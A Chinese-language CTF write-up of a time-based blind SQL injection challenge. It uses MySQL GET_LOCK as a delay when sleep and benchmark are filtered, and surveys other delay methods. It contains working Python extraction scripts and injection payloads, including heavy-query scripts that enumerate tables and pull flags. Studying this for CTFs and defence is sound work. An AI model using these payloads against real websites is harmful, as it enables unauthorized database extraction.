从一道注入题目学习新型延时盲注

SLEEPCMS

题目来自LinkCTF-29,题目:

sleepcms
hint:
睡吧睡吧
long or short? sleep and injection!

很明显的一个时间盲注,但是尝试了常用的sleepbenchmark函数都被过滤了,并且还过滤了selectinformation_schema等函数。扫描目录发现robots.txt:

INSERT INTO `article` (`id`, `title`, `view_times`,`content`) VALUES
(1, 'admin\' flag',0, 'xxxxxxxxxxxxxxxxxxxxxxx'),
(2, 'hello guest',0, 'hello guest,you want is not here~~'),
(3, 'some hint',0, 'long or short?\r\nsleep and injection!');

可知注入点在id=1,目的是注入出article表中的content字段,google了一番,发现与去年pwnhub的一道注入题目很像,预期解是利用了长亭科技的师傅提出的GET_LOCK函数,一种可以延时注入的新方式:

GET_LOCK(str,timeout)
Tries
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.

但是这种方式有利用限制,要求mysql连接必须为mysql_pconnect长连接,平时我们连接数据库一般用mysql_connect()是一种短连接,两者的区别:

mysql_connect() 脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到 MySQL 服务器的持久连接

官方手册是这样描述二者的主要区别的:mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别。首先,当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。其次,当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用(mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。

简单来说,即mysql_connect()使用后立刻就会断开而mysql_pconnect()会保持连接,并不会立刻断开。

想到题目的提示猜测此题目可能为长连接,先测试一下:

http://101.71.29.5:10000/article.php?id=2%27%20and%20%28get_lock%28%27vvvv%27,5%29%29%20%23

成功延时,因此判断mysql的连接方式为长连接。
因此过滤了select,开始尝试绕过,一直不行,后来618师傅提到同表查询只用列就可以了,已经知道了表的结构。

盲注脚本:

import requests
import time
import string
from urllib import quote

base_url = "http://101.71.29.5:10000/article.php?id="
dic = string.letters+string.digits+string.punctuation
flag = ""
num = 1
while True:
    for i in dic:
        payload = "1\'/**/and/**/(if(substr(content,%d,1)=\'%s\',get_lock(\'vvvv\',3),0))/**/#"
        start_time = time.time()
        url = base_url+quote(payload%(num,str(i)))
        res = requests.get(url)
        end_time = time.time()
        if end_time - start_time > 2:
            flag += str(i)
            num += 1
            print flag
            break

flag就可以跑出来了,可能会有些小问题,字母把大写改为小写就可以了。

算是学到了一种新的技巧,总结下sql时间盲注的几个方法。

SQL时间盲注总结

在SQL注入中,往往需要引入“超出预期”的SQL语句,最好是希望将“额外”的查询内容直接显示在页面上,使用的手法有:“报错查询(error-based)”、“联合查询(union-select)”。对于无法直接回显出内容的情况需要依赖true/false差异判断(boolean)、时间对比(time-based)、DNS外传数据查询(data exfiltration through DNS channel)等方法进行捕获。例如:“select if(user()='root@localhost',sleep(4),null)“ 当网站用户是”root@localhost“时,会延长4秒钟后返回结果,当用户不是”root@localhost“时,会立即返回,由此可以判断系统中的用户,利用同样的方法可以猜测出权限范围内所有数据库所有表中存放的内容。

关于mysql时间类型(time-based)的注入,有三种常用的方法——sleep、benchmark、笛卡尔积。以上题目过滤了前两个关键函数前两中方法无法利用,因为过滤information_schema导致笛卡儿积也无法利用。SQL时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟,所以只要可以大于平均网络延迟2倍以上,就可以作为执行成功的判断依据,而大多数网站的平均响应时间在100ms以内,所以我们需要制造能达到200ms以上的时间延长的语句。

SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
笛卡儿积(Heavy Query)
mysql> select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C;
+-----------+
| count(*)  |
+-----------+
| 616295051 |
+-----------+
1 row in set (11.72 sec)

原理如方法的名字:大负荷查询。即用到一些消耗资源的方式让数据库的查询时间尽量变长。而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。
常用脚本:

import requests

url = "http://1.2.3.4/index.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
    for j in range(33,127):
        #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j)
        #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #flags
        #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
        payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
        payload_url = url%(payload)
        try:
            r = requests.get(url=payload_url,timeout=8)
        except:
            data +=chr(j)
            print data
            break
GET_LOCK

开启两个session进行测试:

mysql> select get_lock('vvv',1);
+-------------------+
| get_lock('vvv',1) |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)
mysql> select get_lock('vvv',5);
+-------------------+
| get_lock('vvv',5) |
+-------------------+
|                 0 |
+-------------------+
1 row in set (5.00 sec)
RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。暂时不讨论这种方法,效果不是太好,适合特定情况。

归纳出一些时间盲注的方法

  • 1.sleep()
  • 2.benchmark()
  • 3.heavy query
  • 4.get_lock()
  • 5.rlike

参考

https://www.anquanke.com/post/id/104319
https://zhuanlan.zhihu.com/p/35245598
https://www.cdxy.me/?p=789